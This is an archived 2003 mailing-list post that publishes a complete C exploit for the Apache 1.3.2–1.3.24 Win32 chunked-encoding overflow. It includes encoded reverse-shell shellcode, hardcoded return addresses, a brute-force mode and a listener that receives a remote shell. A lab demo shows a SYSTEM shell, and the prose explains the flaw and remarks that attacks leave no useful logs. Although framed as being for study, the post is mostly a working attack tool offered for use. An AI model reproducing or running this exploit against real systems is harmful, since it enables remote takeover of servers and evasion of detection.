|
[0day] Apache 1.3.2 - 1.3.24 (Win32) Chunked Encoding Exploit * To: <0day@nothackers.org> * Subject: [0day] Apache 1.3.2 - 1.3.24 (Win32) Chunked Encoding Exploit * From: "Matthew Murphy" <mattmurphy@kc.rr.com> * Date: Sun, 14 Sep 2003 13:11:13 -0500 * Reply-to: 0day <0day@nothackers.org> * Sender: 0day-bounces@nothackers.org -= 0day - Freedom of Voice - Freedom of Choice =- To the List, One of your readers specifically requested this exploit, and as part of a paper (upcoming) on various exploitable conditions in common applications, this exploit was written. I (as of yet) have no timeline for the paper, but since there are requests for this exploit, and several people claim to have exploits in the wild, here it is. I believe that this should work on any Windows with its one target, but it is tagged "Windows XP SP1" for precision's sake. This exploit works viciously well -- I am typically able to get a root shell on almost any configuration of Apache, unless the user has specifically dropped privileges of Apache to a lower user. Worse, some admins run Apache interactively, allowing it access to various other resources not intended for hostile users. There seem to be some inconsistencies in the Apache buffering implementation that prevent this from working 100% of the time. However, with a few attempts (and maybe a crack at brute-force), you can gain control of any server running Apache 1.3.2 to Apache 1.3.24 (and possibly even 1.2.x series servers) on any Windows OS. On Apache 2.0, this exploit causes a temporary denial of service -- Apache loops for several minutes, before crashing due to a null pointer dereference and being restarted. Success OR failure of this exploit is not logged on either platform, as Apache crashes before the request completes. On many HTTP servers, the server will log a "GET / HTTP/1.1" to virtual host "unknown", and will not log the attack in a detailed fashion unless payloads and headers are logged -- an unlikely scenario. On Apache 1.3, this exploit triggers a stack overflow, resulting in an SEH frame in kernel32.dll being overwritten. An access violation exception also occurs, invoking the handler. Windows Server 2003's SEH handler protection and Visual Studio .NET's /GS stack protection option are ineffective against this exploit, despite the fact that the original payload was written before either existed. This is due to a recently-discovered shortfall of the Windows 2003 exception handler protection -- it allows addresses on the heap to be accessed. As several exploits for this supposedly exist (largely un-released) on Win32, and in-the-wild use is being seen on other platforms (not to mention the age of the bug, and the relative obscurity of Apache 1.3 / Win32), I feel that I can do little harm by releasing this now, as it is more of value to those who wish to study it -- any vulnerable system has likely already been compromised via this or other means. The exploit attempts portability to UNIX, but I didn't have a genuine UNIX system to test this on. If you find portability or other bugs, please let me know by e-mailing me at mattmurphy@kc.rr.com with any errors you may be seeing. A demonstration of this exploit against an Apache 1.3.24 installation in my lab environment: ---------- Apache 1.3.x (Win32) Chunked Encoding Exploit By Matthew Murphy (mattmurphy@kc.rr.com) and Steven Fruchter (steven_fruchter@hotmail.com) Target hostname: localhost Target port: 8001 Use brute-force mode [Y/N]: N Targets 1 Windows XP SP1 2 Other 1 Request filename: / Attempting return address 0x03B61101... [Exploit completed in less than one second] Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. c:\program files\apache group\apache\apache_1.3.24>whoami NT AUTHORITY \ SYSTEM c:\program files\apache group\apache\apache_1.3.24>exit ---------- As I release this code, I have to ask that you use it only for its intended purpose: study. That said, it is a tool with a destructive purpose, and may cause damage in lab environments or elsewhere. By viewing, downloading, compiling, modifying, executing, or otherwise using this code, you assume all responsibility for the results of such use. Exploit Techniques As the exploit states, some of the research was into methods of exploitation was done by a colleague of mine, Steven Fruchter. Specifically, the stack injection technique used to overwrite the structured exception handler is his creation entirely. We discovered that during processing chunk headers, you could use: FFFFFFFFE0[arbitrary] To inject arbitrary data onto the stack in the next call to ap_bread(). After I scoffed at Steven's idea and said "How many times do you think that broke the HTTP 1.1 standard?", it happened to work. :-) Several of the regulars on (what used to be) exploitlabs.com's IRC server will remember how many times I beat my head against the wall trying to think of another method, and had even gone so far as to say that the flaw was not exploitable on the Win32 platform. This led the way to another discovery -- the size of the chunk header *DOES* matter. If you're attempting to exploit this bug on other platforms (e.g, Linux, Solaris), look for other conditions. For instance, an implementation error in the BSD memcpy() function essentially creates the exploitable condition on those platforms. Okay, time to cut to the chase: ---------- APACHE-SLASHER.C ---------- /* * Apache-Slasher.c * Apache 1.3.2-1.3.24 Chunked Encoding Exploit * * Older versions of Apache (prior to 1.3.26) have a serious flaw * in a portion of code that handles HTTP post requests. The flaw * is related to a comparison of two signed integers when processing * HTTP/1.1 chunked encoding. A chunk typically has the following * form: * * <size> * <data> * * Where 'size' is in hexadecimal, so: * * 10 * 1234567890123456 * * is a valid chunk. Apache's ap_discard_request_body() API call uses * a static stack-based buffer for reading request body "blocks" of * 8190 bytes. This routine calls ap_get_client_block(), which does * not correctly account for the sign bit being enabled by a given * chunk size. That is, the comparison: * * len_to_read = (r->remaining > bufsiz ? bufsiz : r->remaining) * * does not account for the possibility that r->remaining (a value taken * from the chunk header) is negative (0x80000000-0xFFFFFFFF). * * The resulting call to ap_bread() contains a second error, in that it * ignores the sign bit when calling memcpy(), which results in a large * copy operation that exceeds the bounds of the buffer. It is somewhat * limiting, in that it restricts the attacker to the unread bytes of * the chunk header. However, these bytes can be anything, as the calls * to ap_bgetc() stop when ap_isxdigit() returns FALSE, rather than when * the first newline is received. * * Some third-party handlers call ap_discard_request_body() when handling * GET requests, as there is usually no purpose for an entity body. If * a handler returns an error, or no handler is available, the request is * handed off as a sub-request to mod_include, which calls the function. * This makes a default Apache 1.3.x install vulnerable, even if there * are no scripts offered. * * How the exploit works is fairly simple. The attack code sends a GET * request that should cause an ap_discard_request_body() call. This will * trigger a stack overflow inside ap_bread(), due to incorrect arithmatic * in ap_get_client_block(). The resulting memcpy() call that actually * causes the overflow does not return, as it attempts to copy anywhere * from 2 to 4 gigabytes of data into a stack frame that is only a few * megabytes in length. When the memcpy() call exceeds the bounds of the * stack, an access violation (exception 0xC0000005) occurs. * * You would expect the resulting SEH sequence to terminate the application, * but it does not. While Apache itself does not establish SEH frames, the * kernel32.dll library *does* for every thread when it is created. The * irritating application error dialog boxes are actually triggered from * inside this SEH frame. The corruption of this frame causes execution to * jump to an attacker-supplied payload -- the shellcode. The code is in * the HTTP headers submitted along with the request -- these are in a * heap-based buffer allocated following the I/O buffers used by Apache. * * The code used here is a simple TCP reverse shell over port 1285, which * (unfortunately) doesn't work with Windows 9x/Me. This is the only real * drawback of this code, with the exception of stringent firewalling. * Several people have claimed to have Win32-based exploits for this flaw, but * none (working) have appeared to this date. The exploitation of this flaw * in a global manner (i.e, not OS-specific) is difficult, but (as this code * demonstrates), not impossible. * * Address determination for your particular Apache should not be difficult, * as I believe that this combination of headers/return addresses will be * fairly constant, barring major differences in the CRT heap implementation. * However, there is a mode for brute-force if desired. * * As for compilation: MSVC/Win32 is guaranteed to compile and run. This * should work on other Win32 compilers, provided they include definitions * for wsock32.dll or ws2_32.dll. * * An average POSIX-compliant UNIX should be sufficient. As long as the * BSD socket interface is available, with select() and the FIONREAD * ioctl command. * * This exploit works perfectly with Windows Server 2003, even though it didn't * exist when development began. * * <Humor> * And today's quotes of the day are... * "Yo Steven! I think I found something ACCURATE in the ISS Advisory on * Apache! At least they got the part about Win32 right -- too bad it's * like 10 users, eh?" * * "Anybody here subscribed to X-Force's stuff? You wouldn't happen to * know when their next honeypot goes up yet, would you? I never got to * test out my phf exploit." * * Trick Question Trivia * * Q: How do you tell a secure box at ISS from a honeypot at ISS? * A: EASY! The former type does not exist! ISS employees are all * trained in honeypots, remember? * </Humor> * * Contact: * Matthew Murphy * E-mail: mattmurphy@kc.rr.com * AIM: NetAddict4109 * Web: http://techie.hopto.org/ * * Steven Fruchter * E-mail: steven_fruchter@hotmail.com */ #ifdef _WIN32 #define _MT #include <winsock.h> #include <process.h> #ifdef _DEBUG #pragma comment(linker, "/NODEFAULTLIB:libcd.lib") #pragma comment(linker, "/NODEFAULTLIB:msvcrtd.lib") #pragma comment(lib, "libcmtd.lib") #else #pragma comment(linker, "/NODEFAULTLIB:libc.lib") #pragma comment(linker, "/NODEFAULTLIB:msvcrt.lib") #pragma comment(lib, "libcmt.lib") #endif #pragma check_stack(off) #pragma comment(lib, "wsock32.lib") #else #include <sys/ioctl.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <netinet/in.h> #include <netdb.h> #include <fcntl.h> #include <unistd.h> #endif #include <stdlib.h> #include <stdio.h> #include <time.h> struct target { char *name; int retaddr; }; static struct target victims[] = { { "Windows XP SP1", 0x03B61101 } }; #if (__BRUTE_STRONG__) /* Aggressive brute-force defaults */ #define BRUTE_START 0x01010101 #define BRUTE_STOP 0x80010101 #elif (__BRUTE_TIMELY__) /* Less-aggressive brute-force */ #define BRUTE_START 0x01010101 #define BRUTE_STOP 0x40010101 #else /* Least aggressive brute-force */ #define BRUTE_START 0x03010101 #define BRUTE_STOP 0x10010101 #endif #define REP_RETADDR 2045 /* How many times to repeat retaddr */ #define NOP_OPCODE 0x41 /* Opcode to use for NOP (one byte) */ #define SHELL_TIMEOUT 1 /* How many seconds to wait for reverse shell */ char sc[359] = "\xEB\x08\x90\x90\x90\xEB\x08\x90\x90\x90\xE8\xF6\xFF\xFF\xFF\x5D" "\x83\xED\xEA\x90\x90\x90\x33\xC9\x81\xE9\xC2\xFE\xFF\xFF\x80\x75" "\x00\x80\x45\xE2\xF9\x64\x67\x8B\x1E\x30\x00\x0B\xDB\x74\x13\x90" "\x90\x90\x90\x8B\x5B\x0C\x8B\x73\x1C\xAD\x8B\x58\x08\xEB\x0C\x90" "\x90\x90\x8B\x5B\x34\x8B\x9B\xB8\x00\x00\x00\x8B\x43\x3C\x8B\x44" "\x18\x78\x33\xFF\x4F\x47\x8B\x4C\x18\x20\x03\xCB\x8B\x0C\xB9\x81" "\x3C\x19\x47\x65\x74\x50\x75\xED\x81\x7C\x19\x04\x72\x6F\x63\x41" "\x75\xE3\xD1\xE7\x03\x7C\x18\x24\x0F\xB7\x3C\x1F\xC1\xE7\x02\x03" "\x7C\x18\x1C\x8B\x3C\x3B\x03\xFB\xE8\x0D\x00\x00\x00\x4C\x6F\x61" "\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x53\xFF\xD7\xE8\x07\x00" "\x00\x00\x77\x73\x32\x5F\x33\x32\x00\xFF\xD0\x8B\xF0\x6A\x00\x6A" "\x00\x6A\x00\x6A\x06\x6A\x01\x6A\x02\xE8\x0B\x00\x00\x00\x57\x53" "\x41\x53\x6F\x63\x6B\x65\x74\x41\x00\x56\xFF\xD7\xFF\xD0\x83\xEC" "\x08\x8B\x4D\x00\x83\xF1\xFF\x51\x68\x02\x00\x05\x05\x8B\xCC\x6A" "\x10\x51\x50\xE8\x08\x00\x00\x00\x63\x6F\x6E\x6E\x65\x63\x74\x00" "\x56\x8B\xF0\xFF\xD7\xFF\xD0\x83\xEC\x54\x8B\xD4\x8B\xC4\xB9\x11" "\x00\x00\x00\xC7\x00\x00\x00\x00\x00\x83\xC0\x04\xE2\xF5\xC7\x02" "\x44\x00\x00\x00\xC7\x42\x2C\x01\x01\x00\x00\x89\x72\x38\x89\x72" "\x3C\x89\x72\x40\x8D\x42\x44\x50\x52\x6A\x00\x6A\x00\x6A\x00\x6A" "\x01\x6A\x00\x6A\x00\xE8\x04\x00\x00\x00\x63\x6D\x64\x00\x6A\x00" "\xE8\x0F\x00\x00\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65" "\x73\x73\x41\x00\x53\xFF\xD7\xFF\xD0\x64\x67\xC7\x06\x00\x00\x00" "\x00\x00\x00"; int time_begin; int got_shell = 0; void get_stdin_line(char *buffer) { fgets(buffer, 256, stdin); strtok(buffer, "\r\n"); return; } unsigned long try_shell(void *s) { int seconds = 0; int minutes = 0; int hours = 0; int days = 0; unsigned long argp = 0; struct fd_set fds_read; char buffer[512]; int len; int s2; #ifdef _WIN32 INPUT_RECORD ir; HANDLE hStdInput; HANDLE hStdOutput; DWORD rec; #else struct fd_set fds_read_spare; int stdin_flag; int sock_flag; #endif setvbuf(stdin, NULL, _IONBF, 0); memset(&fds_read, 0, sizeof(struct fd_set)); FD_SET((int)s, &fds_read); #ifdef _WIN32 hStdInput = GetStdHandle(STD_INPUT_HANDLE); hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleMode(hStdInput, ENABLE_LINE_INPUT|ENABLE_ECHO_INPUT|ENABLE_PROCESSED_INPUT); #else fcntl(0, F_SETFL, O_NONBLOCK); #endif s2 = accept((int)s, NULL, NULL); if (s2 >= 0) { got_shell = 1; printf("\r\n"); time_begin = time(NULL) - time_begin; seconds = time_begin % 60; time_begin -= seconds; time_begin /= 60; minutes = time_begin % 60; time_begin -= minutes; time_begin /= 60; hours = time_begin % 24; time_begin -= hours; time_begin /= 24; days = time_begin; printf("[Exploit completed in "); if (seconds) { if (minutes) { if (hours) { if (days) { printf("%d day%s, ", days, (days == 1 ? "" : "s")); } printf("%d hour%s, ", hours, (hours == 1 ? "" : "s")); } printf("%d minute%s, ", minutes, (minutes == 1 ? "" : "s")); } printf("%d second%s", seconds, (seconds == 1 ? "" : "s")); } else { printf("less than one second"); } printf("]\r\n\r\n"); #ifndef _WIN32 FD_SET(0, &fds_read_spare); FD_SET(s2, &fds_read_spare); #endif while (1) { #ifdef _WIN32 rec = 0; ir.EventType = 0; PeekConsoleInput(hStdInput, &ir, 1, &rec); if (rec) { if (ir.EventType != KEY_EVENT) { ReadConsoleInput(hStdInput, &ir, 1, &rec); } ReadConsole(hStdInput, buffer, 512, &len, NULL); send(s2, buffer, len, 0); recv(s2, buffer, len, 0); } ioctlsocket(s2, FIONREAD, &len); if (len) { len = recv(s2, buffer, len, 0); WriteConsole(hStdOutput, buffer, len, &len, NULL); } #else stdin_flag = 0; sock_flag = 0; memcpy(&fds_read, &fds_read_spare, sizeof(struct fd_set)); len = select(1, &fds_read_spare, NULL, NULL, NULL); switch(len) { case 2: stdin_flag = 1; sock_flag = 1; break; case 1: if (FD_ISSET(0, &fds_read)) { stdin_flag = 1; } else { sock_flag = 1; } break; default: printf("Unexpected error: Couldn't wait for readable descriptors!"); exit(-1); } if (stdin_flag) { len = read(0, buffer, 512); send(s2, buffer, len, 0); recv(s2, buffer, len, 0); } if (sock_flag) { len = recv(s2, buffer, 512, 0); write(0, buffer, len); } #endif } } return 0; } int main(int argc, char *argv[]) { int i; char buffer[257] = "\0"; char hdrbuffer[8193]; struct hostent *he; char pad; int server; int count; int client; struct sockaddr_in sa_in; unsigned long addr; unsigned short port; int retaddr; /* Windows XP, Apache 1.3.24 */ int brute = 0; int n; #ifdef _WIN32 WSADATA wsa_prov; if (WSAStartup(0x0101, &wsa_prov)) { printf("WSAStartup failed"); return -1; } #else int pid; int status; #endif printf("Apache 1.3.x (Win32) Chunked Encoding Exploit\r\n"); printf("By Matthew Murphy (mattmurphy@kc.rr.com) and \r\n"); printf("Steven Fruchter (steven_fruchter@hotmail.com)\r\n\r\n"); for (i = 37; i < sizeof(sc) - 4; i++) { sc[i] = sc[i] ^ 0x80; } if (gethostname(buffer, 256)) { printf("gethostname failed, please enter hostname manually: "); get_stdin_line(buffer); } he = gethostbyname(buffer); if (!he) { printf("Invalid local host name, please enter IP manually: "); get_stdin_line(buffer); addr = inet_addr(buffer); } else { addr = *(unsigned long *)he->h_addr; } server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (server < 0) { printf("ERROR: Cannot create listener socket"); return -1; } sa_in.sin_family = AF_INET; sa_in.sin_port = htons(1285); sa_in.sin_addr.s_addr = addr; addr ^= 0xFFFFFFFF; memcpy(&sc[355], &addr, sizeof(unsigned long)); if (bind(server, (const struct sockaddr *)&sa_in, sizeof(struct sockaddr_in))) { printf("ERROR: Cannot bind to listener port"); return -1; } if (listen(server, 256)) { printf("ERROR: Cannot listen to reverse shell port"); return -1; } while (1) { printf("Target hostname: "); get_stdin_line(buffer); he = gethostbyname(buffer); if (he) { break; } printf("ERROR: Invalid hostname\r\n"); } sa_in.sin_addr.s_addr = *(unsigned long *)he->h_addr; printf("Target port: "); buffer[0] = 0; get_stdin_line(buffer); if (!buffer[0]) { port = 80; } else { port = (unsigned short)atoi(buffer); } printf("Use brute-force mode [Y/N]: "); get_stdin_line(buffer); if (buffer[0] == 'Y' || buffer[0] == 'y') { brute = 1; retaddr = BRUTE_START; } else { printf("Targets\r\n"); for (i = 0; i < sizeof(victims) / sizeof(struct target); i++) { printf(" %d\t%s\r\n", i+1, victims[i].name); } printf(" %d\tOther\r\n", i+1); get_stdin_line(buffer); sscanf(buffer, "%d", &i); i--; if (i >= sizeof(victims) / sizeof(struct target)) { printf("Enter return address: "); get_stdin_line(buffer); sscanf((const char *)(buffer[0] == '0' && (buffer[1] == 'x' || buffer[1] == 'X' ? &buffer[2] : buffer)), "%x", &retaddr); } else { retaddr = victims[i].retaddr; } } printf("Request filename: "); buffer[0] = 0; get_stdin_line(buffer); if (!buffer[0]) { strcpy(buffer, "/error/HTTP_NOT_FOUND.html.var"); } memset(hdrbuffer, NOP_OPCODE, sizeof(hdrbuffer)-1); hdrbuffer[sizeof(hdrbuffer)-1] = 0; hdrbuffer[sizeof(hdrbuffer)-2] = 0x0A; hdrbuffer[sizeof(hdrbuffer)-3] = 0x0D; memcpy(&hdrbuffer[sizeof(hdrbuffer)-sizeof(sc)-3], sc, sizeof(sc)); strncpy(hdrbuffer, "X-AAA: ", 7); sa_in.sin_port = htons(port); time_begin = (int)time(NULL); #ifdef _WIN32 _beginthread(&try_shell, 0, (void *)server); #else pid = (int)fork(); if (pid == -1) { printf("fork() failed"); exit(-1); } else if (pid) { try_shell((void *)server); } #endif count = 0; do { if (brute && (char)retaddr != 1) { printf("Return address 0x%.8X incorrect, ", retaddr); retaddr -= (char)retaddr; retaddr++; } if (!brute) { printf("Attempting return address 0x%.8X...\r\n", retaddr); } if (count == 20) { printf("."); count = 0; } client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (connect(client, (const struct sockaddr *)&sa_in, sizeof(struct sockaddr_in))) { printf("connect() failed"); return -1; } send(client, "GET ", 4, 0); send(client, buffer, strlen(buffer), 0); send(client, " HTTP/1.1\r\nHost: unknown\r\nTransfer-Encoding: chunked\r\n", 54, 0); pad = 0x30; for (i = 0; i < 62; i++) { pad++; if (pad == 0x3A) { pad = 0x41; } else if (pad == 0x5B) { pad = 0x61; } hdrbuffer[4] = pad; send(client, hdrbuffer, sizeof(hdrbuffer)-1, 0); } send(client, "\r\nFFFFFFF0", 10, 0); for (n = 0; n < REP_RETADDR; n++) { send(client, (const char *)&retaddr, sizeof(retaddr), 0); } send(client, "\r\n", 2, 0); retaddr += 0x1000; if (brute) { if ((char)(retaddr >> 8) == 0 || (char)(retaddr >> 8) == 0x0D || (char)(retaddr >> 8) == 0x0A) { retaddr += 0x100; } if ((char)(retaddr >> 16) == 0 || (char)(retaddr >> 16) == 0x0D || (char)(retaddr >> 16) == 0x0A) { retaddr += 0x10000; } if ((char)(retaddr >> 24) == 0 || (char)(retaddr >> 24) == 0x0D || (char)(retaddr >> 24) == 0x0A) { retaddr += 0x1000000; } } #ifdef _WIN32 closesocket(client); #else close(client); #endif count++; } while ((brute ? retaddr < BRUTE_STOP && !got_shell : 0)); got_shell = 0; #ifdef _WIN32 Sleep(5000); if (got_shell) { Sleep(INFINITE); } WSACleanup(); #else sleep(5); if (!got_shell) { kill(pid, SIGTERM); } wait(&status); #endif return 0; } _______________________________________________ 0day mailing list 0day@nothackers.org http://nothackers.org/mailman/listinfo/0day